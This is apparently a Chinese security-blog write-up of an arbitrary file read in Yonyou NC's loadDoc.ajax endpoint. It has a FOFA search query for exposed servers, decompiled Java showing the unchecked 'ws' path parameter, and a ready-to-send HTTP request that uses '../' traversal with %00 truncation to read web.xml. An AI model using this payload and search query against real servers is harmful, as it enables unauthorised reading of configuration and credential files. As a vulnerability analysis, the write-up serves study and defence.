用友NC loadDoc.ajax 文件读取漏洞


漏洞简介

用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC loadDoc 接口处 ws 参数存在文件读取漏洞,攻击者可以利用该漏洞读取设备上任意文件内容,造成敏感信息泄露。

影响版本

fofa语法

icon_hash="1085941792" || app="用友-UFIDA-NC"

漏洞分析

直接看 LoadDocAction.java 里有关 LoadDocAction 的实现逻辑

package nc.uap.ws.console.action;

import java.io.IOException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.uap.ws.console.action.IAction;
import nc.uap.ws.console.config.Config;
import nc.uap.ws.console.fault.Fault;
import nc.uap.ws.console.fault.Faults;
import nc.uap.ws.console.helper.DocHelper;

public class LoadDocAction
implements IAction {
    @Override
    public Faults execuse(HttpServletRequest req, HttpServletResponse resp) {
        Faults faults = new Faults();
        String ws = req.getParameter("ws");
        if (ws == null || ws.equals("")) {
            faults.add(new Fault(0, "ws param need to be setted"));
            return faults;
        }
        DocHelper manager = new DocHelper(Config.docDir);
        try {
            String doc = manager.loadDoc(ws);
            resp.setStatus(200);
            resp.getWriter().write(doc);
        }
        catch (IOException e) {
            faults.add(new Fault(80, e.getMessage()));
            return faults;
        }
        return faults;
    }
}

可以看到 获取 ws 参数,直接带入 loadDoc 方法,跟进看其实现

package nc.uap.ws.console.helper;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;

public class DocHelper {
    private String DocDir;

    public DocHelper(String DocDir) {
        this.DocDir = DocDir;
    }

    public String loadDoc(String ws) throws IOException {
        StringBuilder builder = new StringBuilder();
        BufferedReader br = null;
        try {
            String line;
            File file = new File(new File(this.DocDir), ws + ".txt");
            if (!file.exists()) {
                file.createNewFile();
            }
            FileReader fr = new FileReader(file);
            br = new BufferedReader(fr);
            while ((line = br.readLine()) != null) {
                builder.append(line);
            }
        }
        catch (IOException e) {
            throw e;
        }
        finally {
            if (br != null) {
                br.close();
                br = null;
            }
        }
        return builder.toString();
    }

用户可控的 ws 参数直接拼接文件路径,未对输入进行合法性校验,如果后端Java版本低于7,就通过%00截断绕过 txt 后缀限制,从而达到任意文件读取的目的。

关于 Java 中 %00 (NULL byte) 截断漏洞的版本信息如下:

受影响的 Java 版本范围:

  • Java 7 以下所有版本(Java SE 7 之前)
  • Java 6 所有版本(包括 Java SE 6 所有更新版本)
  • Java 5 所有版本
  • Java 1.4 及更早版本

不受影响的 Java 版本:

  • Java 7 及以上版本(Java SE 7+)已修复了这个问题

其实这个漏洞和之前已经披露的 saveDoc 任意文件上传漏洞都在同一个文件里,只不过最近才披露这个 loadDoc 任意文件读取漏洞罢了。

漏洞复现

POST /uapws/loadDoc.ajax HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded

ws=../../WEB-INF/web.xml%00

成功读取到 web.xml 文件


手机扫码阅读

百易云资产管理运营系统 make SQL注入漏洞

Western Digital My Cloud NAS multi_uploadify.php 文件上传漏洞

评 论